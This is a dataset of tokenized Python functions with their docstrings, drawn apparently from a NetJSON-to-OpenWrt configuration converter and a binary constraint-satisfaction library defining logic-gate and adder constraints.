{"signature": "def __intermediate_interface(self, interface, uci_name):", "body": "interface.update({<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': uci_name,<EOL>'<STR_LIT>': interface.pop('<STR_LIT:name>')<EOL>})<EOL>if '<STR_LIT>' in interface:<EOL><INDENT>del interface['<STR_LIT>']<EOL><DEDENT>if '<STR_LIT>' in interface:<EOL><INDENT>if interface.get('<STR_LIT:type>') != '<STR_LIT>':<EOL><INDENT>interface['<STR_LIT>'] = interface['<STR_LIT>']<EOL><DEDENT>del interface['<STR_LIT>']<EOL><DEDENT>if '<STR_LIT>' in interface:<EOL><INDENT>interface['<STR_LIT>'] = interface['<STR_LIT>']<EOL>del interface['<STR_LIT>']<EOL><DEDENT>if '<STR_LIT>' in interface:<EOL><INDENT>interface['<STR_LIT>'] = not interface['<STR_LIT>']<EOL>del interface['<STR_LIT>']<EOL><DEDENT>if '<STR_LIT>' in interface:<EOL><INDENT>del interface['<STR_LIT>']<EOL><DEDENT>if '<STR_LIT>' in interface:<EOL><INDENT>del interface['<STR_LIT>']<EOL><DEDENT>return interface<EOL>", "docstring": "converts NetJSON interface to\nUCI intermediate data structure", "id": "f11905:c0:m2"}
{"signature": "def __intermediate_address(self, address):", "body": "for key in self._address_keys:<EOL><INDENT>if key in address:<EOL><INDENT>del address[key]<EOL><DEDENT><DEDENT>return address<EOL>", "docstring": "deletes NetJSON address keys", "id": "f11905:c0:m3"}
{"signature": "def __intermediate_bridge(self, interface, i):", "body": "<EOL>if interface['<STR_LIT:type>'] == '<STR_LIT>' and i < <NUM_LIT:2>:<EOL><INDENT>bridge_members = '<STR_LIT:U+0020>'.join(interface.pop('<STR_LIT>'))<EOL>if bridge_members:<EOL><INDENT>interface['<STR_LIT>'] = bridge_members<EOL><DEDENT>else:<EOL><INDENT>interface['<STR_LIT>'] = True<EOL>del interface['<STR_LIT>']<EOL><DEDENT><DEDENT>elif interface['<STR_LIT:type>'] == '<STR_LIT>' and i >= <NUM_LIT:2>:<EOL><INDENT>if '<STR_LIT>' not in interface['<STR_LIT>']:<EOL><INDENT>interface['<STR_LIT>'] = '<STR_LIT>'.format(**interface)<EOL><DEDENT>for attr in ['<STR_LIT:type>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>if attr in interface:<EOL><INDENT>del interface[attr]<EOL><DEDENT><DEDENT><DEDENT>elif interface['<STR_LIT:type>'] != '<STR_LIT>':<EOL><INDENT>del interface['<STR_LIT:type>']<EOL><DEDENT>return interface<EOL>", "docstring": "converts NetJSON bridge to\nUCI intermediate data structure", "id": "f11905:c0:m4"}
{"signature": "def __intermediate_proto(self, interface, address):", "body": "<EOL>address_proto = address.pop('<STR_LIT>', '<STR_LIT>')<EOL>if '<STR_LIT>' not in interface:<EOL><INDENT>return address_proto<EOL><DEDENT>else:<EOL><INDENT>return interface.pop('<STR_LIT>')<EOL><DEDENT>", "docstring": "determines UCI interface \"proto\" option", "id": "f11905:c0:m5"}
{"signature": "def __intermediate_dns_servers(self, uci, address):", "body": "<EOL>if '<STR_LIT>' in uci:<EOL><INDENT>return uci['<STR_LIT>']<EOL><DEDENT>if address['<STR_LIT>'] in ['<STR_LIT>', '<STR_LIT>', '<STR_LIT:none>']:<EOL><INDENT>return None<EOL><DEDENT>dns = self.netjson.get('<STR_LIT>', None)<EOL>if dns:<EOL><INDENT>return '<STR_LIT:U+0020>'.join(dns)<EOL><DEDENT>", "docstring": "determines UCI interface \"dns\" option", "id": "f11905:c0:m6"}
{"signature": "def __intermediate_dns_search(self, uci, address):", "body": "<EOL>if '<STR_LIT>' in uci:<EOL><INDENT>return uci['<STR_LIT>']<EOL><DEDENT>if address['<STR_LIT>'] == '<STR_LIT:none>':<EOL><INDENT>return None<EOL><DEDENT>dns_search = self.netjson.get('<STR_LIT>', None)<EOL>if dns_search:<EOL><INDENT>return '<STR_LIT:U+0020>'.join(dns_search)<EOL><DEDENT>", "docstring": "determines UCI interface \"dns_search\" option", "id": "f11905:c0:m7"}
{"signature": "def __intermediate_hwmode(self, radio):", "body": "protocol = radio['<STR_LIT>']<EOL>if protocol in ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>return protocol[<NUM_LIT:4>:]<EOL><DEDENT>if radio['<STR_LIT>'] is <NUM_LIT:0>:<EOL><INDENT>return radio.get('<STR_LIT>')<EOL><DEDENT>elif radio['<STR_LIT>'] <= <NUM_LIT>:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>", "docstring": "possible return values are: 11a, 11b, 11g", "id": "f11914:c0:m2"}
{"signature": "def __intermediate_htmode(self, radio):", "body": "protocol = radio.pop('<STR_LIT>')<EOL>channel_width = radio.pop('<STR_LIT>')<EOL>if '<STR_LIT>' in radio:<EOL><INDENT>return radio['<STR_LIT>']<EOL><DEDENT>if protocol == '<STR_LIT>':<EOL><INDENT>return '<STR_LIT>'.format(channel_width)<EOL><DEDENT>elif protocol == '<STR_LIT>':<EOL><INDENT>return '<STR_LIT>'.format(channel_width)<EOL><DEDENT>return '<STR_LIT>'<EOL>", "docstring": "only for mac80211 driver", "id": "f11914:c0:m3"}
{"signature": "def __netjson_protocol(self, radio):", "body": "htmode = radio.get('<STR_LIT>')<EOL>hwmode = radio.get('<STR_LIT>', None)<EOL>if htmode.startswith('<STR_LIT>'):<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>elif htmode.startswith('<STR_LIT>'):<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>return '<STR_LIT>'.format(hwmode)<EOL>", "docstring": "determines NetJSON protocol radio attribute", "id": "f11914:c0:m6"}
{"signature": "def __netjson_channel(self, radio):", "body": "if radio['<STR_LIT>'] == '<STR_LIT>':<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>del radio['<STR_LIT>']<EOL>return int(radio['<STR_LIT>'])<EOL>", "docstring": "determines NetJSON channel radio attribute", "id": "f11914:c0:m7"}
{"signature": "def __netjson_channel_width(self, radio):", "body": "htmode = radio.pop('<STR_LIT>')<EOL>if htmode == '<STR_LIT>':<EOL><INDENT>return <NUM_LIT:20><EOL><DEDENT>channel_width = htmode.replace('<STR_LIT>', '<STR_LIT>').replace('<STR_LIT>', '<STR_LIT>')<EOL>if '<STR_LIT:+>' in channel_width or '<STR_LIT:->' in channel_width:<EOL><INDENT>radio['<STR_LIT>'] = htmode<EOL>channel_width = channel_width[<NUM_LIT:0>:-<NUM_LIT:1>]<EOL><DEDENT>return int(channel_width)<EOL>", "docstring": "determines NetJSON channel_width radio attribute", "id": "f11914:c0:m8"}
{"signature": "def _generate_contents(self, tar):", "body": "uci = self.render(files=False)<EOL>packages = packages_pattern.split(uci)<EOL>if '<STR_LIT>' in packages:<EOL><INDENT>packages.remove('<STR_LIT>')<EOL><DEDENT>for package in packages:<EOL><INDENT>lines = package.split('<STR_LIT:\\n>')<EOL>package_name = lines[<NUM_LIT:0>]<EOL>text_contents = '<STR_LIT:\\n>'.join(lines[<NUM_LIT:2>:])<EOL>self._add_file(tar=tar,<EOL>name='<STR_LIT>'.format(config_path, package_name),<EOL>contents=text_contents)<EOL><DEDENT>", "docstring": "Adds configuration files to tarfile instance.\n\n:param tar: tarfile instance\n:returns: None", "id": "f11915:c0:m0"}
{"signature": "def merge_config(template, config, list_identifiers=None):", "body": "result = template.copy()<EOL>for key, value in config.items():<EOL><INDENT>if isinstance(value, dict):<EOL><INDENT>node = result.get(key, OrderedDict())<EOL>result[key] = merge_config(node, value)<EOL><DEDENT>elif isinstance(value, list) and isinstance(result.get(key), list):<EOL><INDENT>result[key] = merge_list(result[key], value, list_identifiers)<EOL><DEDENT>else:<EOL><INDENT>result[key] = value<EOL><DEDENT><DEDENT>return result<EOL>", "docstring": "Merges ``config`` on top of ``template``.\n\nConflicting keys are handled in the following way:\n\n* simple values (eg: ``str``, ``int``, ``float``, ecc) in ``config`` will\n  overwrite the ones in ``template``\n* values of type ``list`` in both ``config`` and ``template`` will be\n  merged using to the ``merge_list`` function\n* values of type ``dict`` will be merged recursively\n\n:param template: template ``dict``\n:param config: config ``dict``\n:param list_identifiers: ``list`` or ``None``\n:returns: merged ``dict``", "id": "f11916:m0"}
{"signature": "def merge_list(list1, list2, identifiers=None):", "body": "identifiers = identifiers or []<EOL>dict_map = {'<STR_LIT>': OrderedDict(), '<STR_LIT>': OrderedDict()}<EOL>counter = <NUM_LIT:1><EOL>for list_ in [list1, list2]:<EOL><INDENT>container = dict_map['<STR_LIT>'.format(counter)]<EOL>for el in list_:<EOL><INDENT>key = id(el)<EOL>if isinstance(el, dict):<EOL><INDENT>for id_key in identifiers:<EOL><INDENT>if id_key in el:<EOL><INDENT>key = el[id_key]<EOL>break<EOL><DEDENT><DEDENT><DEDENT>container[key] = deepcopy(el)<EOL><DEDENT>counter += <NUM_LIT:1><EOL><DEDENT>merged = merge_config(dict_map['<STR_LIT>'], dict_map['<STR_LIT>'])<EOL>return list(merged.values())<EOL>", "docstring": "Merges ``list2`` on top of ``list1``.\n\nIf both lists contain dictionaries which have keys specified\nin ``identifiers`` which have equal values, those dicts will\nbe merged (dicts in ``list2`` will override dicts in ``list1``).\nThe remaining elements will be summed in order to create a list\nwhich contains elements of both lists.\n\n:param list1: ``list`` from template\n:param list2: ``list`` from config\n:param identifiers: ``list`` or ``None``\n:returns: merged ``list``", "id": "f11916:m1"}
{"signature": "def evaluate_vars(data, context=None):", "body": "context = context or {}<EOL>if isinstance(data, (dict, list)):<EOL><INDENT>if isinstance(data, dict):<EOL><INDENT>loop_items = data.items()<EOL><DEDENT>elif isinstance(data, list):<EOL><INDENT>loop_items = enumerate(data)<EOL><DEDENT>for key, value in loop_items:<EOL><INDENT>data[key] = evaluate_vars(value, context)<EOL><DEDENT><DEDENT>elif isinstance(data, six.string_types):<EOL><INDENT>vars_found = var_pattern.findall(data)<EOL>for var in vars_found:<EOL><INDENT>var = var.strip()<EOL>if len(vars_found) > <NUM_LIT:1>:<EOL><INDENT>pattern = r'<STR_LIT>' % var<EOL><DEDENT>else:<EOL><INDENT>pattern = var_pattern<EOL><DEDENT>if var in context:<EOL><INDENT>data = re.sub(pattern, context[var], data)<EOL><DEDENT><DEDENT><DEDENT>return data<EOL>", "docstring": "Evaluates variables in ``data``\n\n:param data: data structure containing variables, may be\n             ``str``, ``dict`` or ``list``\n:param context: ``dict`` containing variables\n:returns: modified data structure", "id": "f11916:m3"}
{"signature": "def get_copy(dict_, key, default=None):", "body": "value = dict_.get(key, default)<EOL>if value:<EOL><INDENT>return deepcopy(value)<EOL><DEDENT>return value<EOL>", "docstring": "Looks for a key in a dictionary, if found returns\na deepcopied value, otherwise returns default value", "id": "f11916:m4"}
{"signature": "def _tabs(self, string):", "body": "return string.replace('<STR_LIT:U+0020>', '<STR_LIT:\\t>')<EOL>", "docstring": "replace 4 spaces with 1 tab", "id": "f11916:c0:m0"}
{"signature": "def _list_errors(e):", "body": "error_list = []<EOL>for value, error in zip(e.validator_value, e.context):<EOL><INDENT>error_list.append((value, error.message))<EOL>if error.context:<EOL><INDENT>error_list += _list_errors(error)<EOL><DEDENT><DEDENT>return error_list<EOL>", "docstring": "Returns a list of violated schema fragments and related error messages\n:param e: ``jsonschema.exceptions.ValidationError`` instance", "id": "f11918:m0"}
{"signature": "def __init__(self, e):", "body": "self.message = e.message<EOL>self.details = e<EOL>", "docstring": "preserve jsonschema exception attributes\nin self.details", "id": "f11918:c1:m0"}
{"signature": "def get_install_requires():", "body": "requirements = []<EOL>for line in open('<STR_LIT>').readlines():<EOL><INDENT>if line.startswith('<STR_LIT:#>') or line == '<STR_LIT>' or line.startswith('<STR_LIT:http>') or line.startswith('<STR_LIT>'):<EOL><INDENT>continue<EOL><DEDENT>requirements.append(line.replace('<STR_LIT:\\n>', '<STR_LIT>'))<EOL><DEDENT>if sys.version_info.major < <NUM_LIT:3>:<EOL><INDENT>requirements.append('<STR_LIT>')<EOL><DEDENT>return requirements<EOL>", "docstring": "parse requirements.txt, ignore links, exclude comments", "id": "f11920:m0"}
{"signature": "def powerset(iterable):", "body": "s = list(iterable)<EOL>return itertools.chain.from_iterable(itertools.combinations(s, r) for r in range(len(s)+<NUM_LIT:1>))<EOL>", "docstring": "powerset([1,2,3]) --> () (1,) (2,) (3,) (1,2) (1,3) (2,3) (1,2,3)", "id": "f11930:m0"}
{"signature": "def xor_fault(a, b, out, fault):", "body": "if (a != b) == out:<EOL><INDENT>return fault == <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>return fault == <NUM_LIT:1><EOL><DEDENT>", "docstring": "Returns True if XOR(a, b) == out and fault == 0 or XOR(a, b) != out and fault == 1.", "id": "f11931:m0"}
{"signature": "def and_fault(a, b, out, fault):", "body": "if (a and b) == out:<EOL><INDENT>return fault == <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>return fault == <NUM_LIT:1><EOL><DEDENT>", "docstring": "Returns True if AND(a, b) == out and fault == 0 or AND(a, b) != out and fault == 1.", "id": "f11931:m1"}
{"signature": "def or_fault(a, b, out, fault):", "body": "if (a or b) == out:<EOL><INDENT>return fault == <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>return fault == <NUM_LIT:1><EOL><DEDENT>", "docstring": "Returns True if OR(a, b) == out and fault == 0 or OR(a, b) != out and fault == 1.", "id": "f11931:m2"}
{"signature": "def irreducible_components(constraint):", "body": "<EOL>return _irreducible_components(constraint.configurations, constraint.variables)<EOL>", "docstring": "Determine the sets of variables that are irreducible.\n\n    Let V(C) denote the variables of constraint C. For a configuration x, let x|A denote the\n    restriction of the configuration to the variables of A. Constraint C is reducible if there\n    is a partition of V(C) into nonempty subsets A and B, and two constraints C_A and C_B, with\n    V(C_A) = A and C_B V(C_B) = B, such that a configuration x is feasible in C if and only if x|A\n    is feasible in C_A and x|B is feasible in C_B. A constraint is irreducible if it is not\n    reducible.\n\n    Args:\n        constraint (:obj:`.Constraint`):\n            Constraint to attempt to reduce.\n\n    Returns:\n        list[tuple]: List of tuples in which each tuple is a set of variables that is irreducible.\n\n    Examples:\n        This example reduces a constraint, created by specifying its valid configurations, to two\n        constraints. The original constraint, that valid configurations for a,b,c are 0,0,1 and\n        1,1,1, can be represented by two reduced constraints, for example, (c=1) & (a=b). For\n        comparison, an attempt to reduce a constraint representing an AND gate fails to find a\n        valid reduction.\n\n        >>> import dwavebinarycsp\n        >>> const = dwavebinarycsp.Constraint.from_configurations([(0, 0, 1), (1, 1, 1)],\n        ...                                                       ['a', 'b', 'c'], dwavebinarycsp.BINARY)\n        >>> dwavebinarycsp.irreducible_components(const)\n        [('c',), ('a', 'b')]\n        >>> const_and = dwavebinarycsp.Constraint.from_configurations([(0, 0, 0), (0, 1, 0), (1, 0, 0), (1, 1, 1)],\n        ...                                                           ['a', 'b', 'c'], dwavebinarycsp.BINARY)\n        >>> dwavebinarycsp.irreducible_components(const_and)\n        [('a', 'b', 'c')]", "id": "f11932:m0"}
{"signature": "@dimod.decorators.vartype_argument('<STR_LIT>')<EOL>def and_gate(variables, vartype=dimod.BINARY, name='<STR_LIT>'):", "body": "variables = tuple(variables)<EOL>if vartype is dimod.BINARY:<EOL><INDENT>configurations = frozenset([(<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>),<EOL>(<NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:0>),<EOL>(<NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>),<EOL>(<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>)])<EOL>def func(in1, in2, out): return (in1 and in2) == out<EOL><DEDENT>else:<EOL><INDENT>configurations = frozenset([(-<NUM_LIT:1>, -<NUM_LIT:1>, -<NUM_LIT:1>),<EOL>(-<NUM_LIT:1>, +<NUM_LIT:1>, -<NUM_LIT:1>),<EOL>(+<NUM_LIT:1>, -<NUM_LIT:1>, -<NUM_LIT:1>),<EOL>(+<NUM_LIT:1>, +<NUM_LIT:1>, +<NUM_LIT:1>)])<EOL>def func(in1, in2, out): return ((in1 > <NUM_LIT:0>) and (in2 > <NUM_LIT:0>)) == (out > <NUM_LIT:0>)<EOL><DEDENT>return Constraint(func, configurations, variables, vartype=vartype, name=name)<EOL>", "docstring": "AND gate.\n\n    Args:\n        variables (list): Variable labels for the and gate as `[in1, in2, out]`,\n            where `in1, in2` are inputs and `out` the gate's output.\n        vartype (Vartype, optional, default='BINARY'): Variable type. Accepted\n            input values:\n\n            * Vartype.SPIN, 'SPIN', {-1, 1}\n            * Vartype.BINARY, 'BINARY', {0, 1}\n        name (str, optional, default='AND'): Name for the constraint.\n\n    Returns:\n        Constraint(:obj:`.Constraint`): Constraint that is satisfied when its variables are\n        assigned values that match the valid states of an AND gate.\n\n    Examples:\n        >>> import dwavebinarycsp\n        >>> import dwavebinarycsp.factories.constraint.gates as gates\n        >>> csp = dwavebinarycsp.ConstraintSatisfactionProblem(dwavebinarycsp.BINARY)\n        >>> csp.add_constraint(gates.and_gate(['a', 'b', 'c'], name='AND1'))\n        >>> csp.check({'a': 1, 'b': 0, 'c': 0})\n        True", "id": "f11933:m0"}
{"signature": "@dimod.decorators.vartype_argument('<STR_LIT>')<EOL>def or_gate(variables, vartype=dimod.BINARY, name='<STR_LIT>'):", "body": "variables = tuple(variables)<EOL>if vartype is dimod.BINARY:<EOL><INDENT>configs = frozenset([(<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>),<EOL>(<NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:1>),<EOL>(<NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:1>),<EOL>(<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>)])<EOL>def func(in1, in2, out): return (in1 or in2) == out<EOL><DEDENT>else:<EOL><INDENT>configs = frozenset([(-<NUM_LIT:1>, -<NUM_LIT:1>, -<NUM_LIT:1>),<EOL>(-<NUM_LIT:1>, +<NUM_LIT:1>, +<NUM_LIT:1>),<EOL>(+<NUM_LIT:1>, -<NUM_LIT:1>, +<NUM_LIT:1>),<EOL>(+<NUM_LIT:1>, +<NUM_LIT:1>, +<NUM_LIT:1>)])<EOL>def func(in1, in2, out): return ((in1 > <NUM_LIT:0>) or (in2 > <NUM_LIT:0>)) == (out > <NUM_LIT:0>)<EOL><DEDENT>return Constraint(func, configs, variables, vartype=vartype, name=name)<EOL>", "docstring": "OR gate.\n\n    Args:\n        variables (list): Variable labels for the and gate as `[in1, in2, out]`,\n            where `in1, in2` are inputs and `out` the gate's output.\n        vartype (Vartype, optional, default='BINARY'): Variable type. Accepted\n            input values:\n\n            * Vartype.SPIN, 'SPIN', {-1, 1}\n            * Vartype.BINARY, 'BINARY', {0, 1}\n        name (str, optional, default='OR'): Name for the constraint.\n\n    Returns:\n        Constraint(:obj:`.Constraint`): Constraint that is satisfied when its variables are\n        assigned values that match the valid states of an OR gate.\n\n    Examples:\n        >>> import dwavebinarycsp\n        >>> import dwavebinarycsp.factories.constraint.gates as gates\n        >>> csp = dwavebinarycsp.ConstraintSatisfactionProblem(dwavebinarycsp.SPIN)\n        >>> csp.add_constraint(gates.or_gate(['x', 'y', 'z'], {-1,1}, name='OR1'))\n        >>> csp.check({'x': 1, 'y': -1, 'z': 1})\n        True", "id": "f11933:m1"}
{"signature": "@dimod.decorators.vartype_argument('<STR_LIT>')<EOL>def xor_gate(variables, vartype=dimod.BINARY, name='<STR_LIT>'):", "body": "variables = tuple(variables)<EOL>if vartype is dimod.BINARY:<EOL><INDENT>configs = frozenset([(<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>),<EOL>(<NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:1>),<EOL>(<NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:1>),<EOL>(<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:0>)])<EOL>def func(in1, in2, out): return (in1 != in2) == out<EOL><DEDENT>else:<EOL><INDENT>configs = frozenset([(-<NUM_LIT:1>, -<NUM_LIT:1>, -<NUM_LIT:1>),<EOL>(-<NUM_LIT:1>, +<NUM_LIT:1>, +<NUM_LIT:1>),<EOL>(+<NUM_LIT:1>, -<NUM_LIT:1>, +<NUM_LIT:1>),<EOL>(+<NUM_LIT:1>, +<NUM_LIT:1>, -<NUM_LIT:1>)])<EOL>def func(in1, in2, out): return ((in1 > <NUM_LIT:0>) != (in2 > <NUM_LIT:0>)) == (out > <NUM_LIT:0>)<EOL><DEDENT>return Constraint(func, configs, variables, vartype=vartype, name=name)<EOL>", "docstring": "XOR gate.\n\n    Args:\n        variables (list): Variable labels for the and gate as `[in1, in2, out]`,\n            where `in1, in2` are inputs and `out` the gate's output.\n        vartype (Vartype, optional, default='BINARY'): Variable type. Accepted\n            input values:\n\n            * Vartype.SPIN, 'SPIN', {-1, 1}\n            * Vartype.BINARY, 'BINARY', {0, 1}\n        name (str, optional, default='XOR'): Name for the constraint.\n\n    Returns:\n        Constraint(:obj:`.Constraint`): Constraint that is satisfied when its variables are\n        assigned values that match the valid states of an XOR gate.\n\n    Examples:\n        >>> import dwavebinarycsp\n        >>> import dwavebinarycsp.factories.constraint.gates as gates\n        >>> csp = dwavebinarycsp.ConstraintSatisfactionProblem(dwavebinarycsp.BINARY)\n        >>> csp.add_constraint(gates.xor_gate(['x', 'y', 'z'], name='XOR1'))\n        >>> csp.check({'x': 1, 'y': 1, 'z': 1})\n        False", "id": "f11933:m2"}
{"signature": "@dimod.decorators.vartype_argument('<STR_LIT>')<EOL>def halfadder_gate(variables, vartype=dimod.BINARY, name='<STR_LIT>'):", "body": "variables = tuple(variables)<EOL>if vartype is dimod.BINARY:<EOL><INDENT>configs = frozenset([(<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>),<EOL>(<NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:0>),<EOL>(<NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:0>),<EOL>(<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:1>)])<EOL><DEDENT>else:<EOL><INDENT>configs = frozenset([(-<NUM_LIT:1>, -<NUM_LIT:1>, -<NUM_LIT:1>, -<NUM_LIT:1>),<EOL>(-<NUM_LIT:1>, +<NUM_LIT:1>, +<NUM_LIT:1>, -<NUM_LIT:1>),<EOL>(+<NUM_LIT:1>, -<NUM_LIT:1>, +<NUM_LIT:1>, -<NUM_LIT:1>),<EOL>(+<NUM_LIT:1>, +<NUM_LIT:1>, -<NUM_LIT:1>, +<NUM_LIT:1>)])<EOL><DEDENT>def func(augend, addend, sum_, carry):<EOL><INDENT>total = (augend > <NUM_LIT:0>) + (addend > <NUM_LIT:0>)<EOL>if total == <NUM_LIT:0>:<EOL><INDENT>return (sum_ <= <NUM_LIT:0>) and (carry <= <NUM_LIT:0>)<EOL><DEDENT>elif total == <NUM_LIT:1>:<EOL><INDENT>return (sum_ > <NUM_LIT:0>) and (carry <= <NUM_LIT:0>)<EOL><DEDENT>elif total == <NUM_LIT:2>:<EOL><INDENT>return (sum_ <= <NUM_LIT:0>) and (carry > <NUM_LIT:0>)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>return Constraint(func, configs, variables, vartype=vartype, name=name)<EOL>", "docstring": "Half adder.\n\n    Args:\n        variables (list): Variable labels for the and gate as `[in1, in2, sum, carry]`,\n            where `in1, in2` are inputs to be added and `sum` and 'carry' the resultant\n            outputs.\n        vartype (Vartype, optional, default='BINARY'): Variable type. Accepted\n            input values:\n\n            * Vartype.SPIN, 'SPIN', {-1, 1}\n            * Vartype.BINARY, 'BINARY', {0, 1}\n        name (str, optional, default='HALF_ADDER'): Name for the constraint.\n\n    Returns:\n        Constraint(:obj:`.Constraint`): Constraint that is satisfied when its variables are\n        assigned values that match the valid states of a Boolean half adder.\n\n    Examples:\n        >>> import dwavebinarycsp\n        >>> import dwavebinarycsp.factories.constraint.gates as gates\n        >>> csp = dwavebinarycsp.ConstraintSatisfactionProblem(dwavebinarycsp.BINARY)\n        >>> csp.add_constraint(gates.halfadder_gate(['a', 'b', 'total', 'carry'], name='HA1'))\n        >>> csp.check({'a': 1, 'b': 1, 'total': 0, 'carry': 1})\n        True", "id": "f11933:m3"}
{"signature": "@dimod.decorators.vartype_argument('<STR_LIT>')<EOL>def fulladder_gate(variables, vartype=dimod.BINARY, name='<STR_LIT>'):", "body": "variables = tuple(variables)<EOL>if vartype is dimod.BINARY:<EOL><INDENT>configs = frozenset([(<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>),<EOL>(<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:0>),<EOL>(<NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:0>),<EOL>(<NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:1>),<EOL>(<NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:0>),<EOL>(<NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:1>),<EOL>(<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>),<EOL>(<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>)])<EOL><DEDENT>else:<EOL><INDENT>configs = frozenset([(-<NUM_LIT:1>, -<NUM_LIT:1>, -<NUM_LIT:1>, -<NUM_LIT:1>, -<NUM_LIT:1>),<EOL>(-<NUM_LIT:1>, -<NUM_LIT:1>, +<NUM_LIT:1>, +<NUM_LIT:1>, -<NUM_LIT:1>),<EOL>(-<NUM_LIT:1>, +<NUM_LIT:1>, -<NUM_LIT:1>, +<NUM_LIT:1>, -<NUM_LIT:1>),<EOL>(-<NUM_LIT:1>, +<NUM_LIT:1>, +<NUM_LIT:1>, -<NUM_LIT:1>, +<NUM_LIT:1>),<EOL>(+<NUM_LIT:1>, -<NUM_LIT:1>, -<NUM_LIT:1>, +<NUM_LIT:1>, -<NUM_LIT:1>),<EOL>(+<NUM_LIT:1>, -<NUM_LIT:1>, +<NUM_LIT:1>, -<NUM_LIT:1>, +<NUM_LIT:1>),<EOL>(+<NUM_LIT:1>, +<NUM_LIT:1>, -<NUM_LIT:1>, -<NUM_LIT:1>, +<NUM_LIT:1>),<EOL>(+<NUM_LIT:1>, +<NUM_LIT:1>, +<NUM_LIT:1>, +<NUM_LIT:1>, +<NUM_LIT:1>)])<EOL><DEDENT>def func(in1, in2, in3, sum_, carry):<EOL><INDENT>total = (in1 > <NUM_LIT:0>) + (in2 > <NUM_LIT:0>) + (in3 > <NUM_LIT:0>)<EOL>if total == <NUM_LIT:0>:<EOL><INDENT>return (sum_ <= <NUM_LIT:0>) and (carry <= <NUM_LIT:0>)<EOL><DEDENT>elif total == <NUM_LIT:1>:<EOL><INDENT>return (sum_ > <NUM_LIT:0>) and (carry <= <NUM_LIT:0>)<EOL><DEDENT>elif total == <NUM_LIT:2>:<EOL><INDENT>return (sum_ <= <NUM_LIT:0>) and (carry > <NUM_LIT:0>)<EOL><DEDENT>elif total == <NUM_LIT:3>:<EOL><INDENT>return (sum_ > <NUM_LIT:0>) and (carry > <NUM_LIT:0>)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>return Constraint(func, configs, variables, vartype=vartype, name=name)<EOL>", "docstring": "Full adder.\n\n    Args:\n        variables (list): Variable labels for the and gate as `[in1, in2, in3, sum, carry]`,\n            where `in1, in2, in3` are inputs to be added and `sum` and 'carry' the resultant\n            outputs.\n        vartype (Vartype, optional, default='BINARY'): Variable type. Accepted\n            input values:\n\n            * Vartype.SPIN, 'SPIN', {-1, 1}\n            * Vartype.BINARY, 'BINARY', {0, 1}\n        name (str, optional, default='FULL_ADDER'): Name for the constraint.\n\n    Returns:\n        Constraint(:obj:`.Constraint`): Constraint that is satisfied when its variables are\n        assigned values that match the valid states of a Boolean full adder.\n\n    Examples:\n        >>> import dwavebinarycsp\n        >>> import dwavebinarycsp.factories.constraint.gates as gates\n        >>> csp = dwavebinarycsp.ConstraintSatisfactionProblem(dwavebinarycsp.BINARY)\n        >>> csp.add_constraint(gates.fulladder_gate(['a', 'b', 'c_in', 'total', 'c_out'], name='FA1'))\n        >>> csp.check({'a': 1, 'b': 0, 'c_in': 1, 'total': 0, 'c_out': 1})\n        True", "id": "f11933:m4"}
